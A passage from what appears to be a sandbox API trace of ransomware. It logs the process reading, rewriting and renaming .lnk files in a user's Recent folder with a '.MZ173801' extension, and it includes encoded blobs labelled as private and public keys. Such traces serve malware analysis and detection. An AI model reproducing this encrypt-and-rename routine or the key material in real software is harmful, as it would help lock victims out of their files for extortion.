lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.552] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.552] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EdrNe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\edrne.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1219983, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1219983, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf1219983, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3ab)) returned 1 [0147.553] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EdrNe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\edrne.lnk")) returned 0x20 [0147.553] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EdrNe.lnk", dwFileAttributes=0x80) returned 1 [0147.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.555] GetCurrentThreadId () returned 0xab4 [0147.555] GetCurrentThreadId () returned 0xab4 [0147.555] GetCurrentThreadId () returned 0xab4 [0147.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.556] GetCurrentThreadId () returned 0xab4 [0147.556] GetCurrentThreadId () returned 0xab4 [0147.556] GetCurrentThreadId () returned 0xab4 [0147.556] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EdrNe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\edrne.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.556] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.556] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.556] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3ab [0147.556] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.556] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3ab, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3ab, lpOverlapped=0x0) returned 1 [0147.557] CloseHandle (hObject=0x280) returned 1 [0147.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EdrNe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\edrne.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.558] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3ab, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3ab, lpOverlapped=0x0) returned 1 [0147.559] CloseHandle (hObject=0x280) returned 1 [0147.560] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EdrNe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\edrne.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EdrNe.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\edrne.lnk.mz173801")) returned 1 [0147.561] GetCurrentThreadId () returned 0xab4 [0147.561] GetCurrentThreadId () returned 0xab4 [0147.561] GetCurrentThreadId () returned 0xab4 [0147.561] GetCurrentThreadId () returned 0xab4 [0147.561] GetCurrentThreadId () returned 0xab4 [0147.561] GetCurrentThreadId () returned 0xab4 [0147.561] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5317325, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf5317325, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf5317325, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="eh9nFqOb33ZYsx1OOIH.lnk", cAlternateFileName="EH9NFQ~1.LNK")) returned 1 [0147.561] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.561] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.561] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eh9nFqOb33ZYsx1OOIH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eh9nfqob33zysx1ooih.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5317325, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf5317325, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf5317325, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3f3)) returned 1 [0147.561] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eh9nFqOb33ZYsx1OOIH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\eh9nfqob33zysx1ooih.lnk")) returned 0x20 [0147.561] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eh9nFqOb33ZYsx1OOIH.lnk", dwFileAttributes=0x80) returned 1 [0147.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7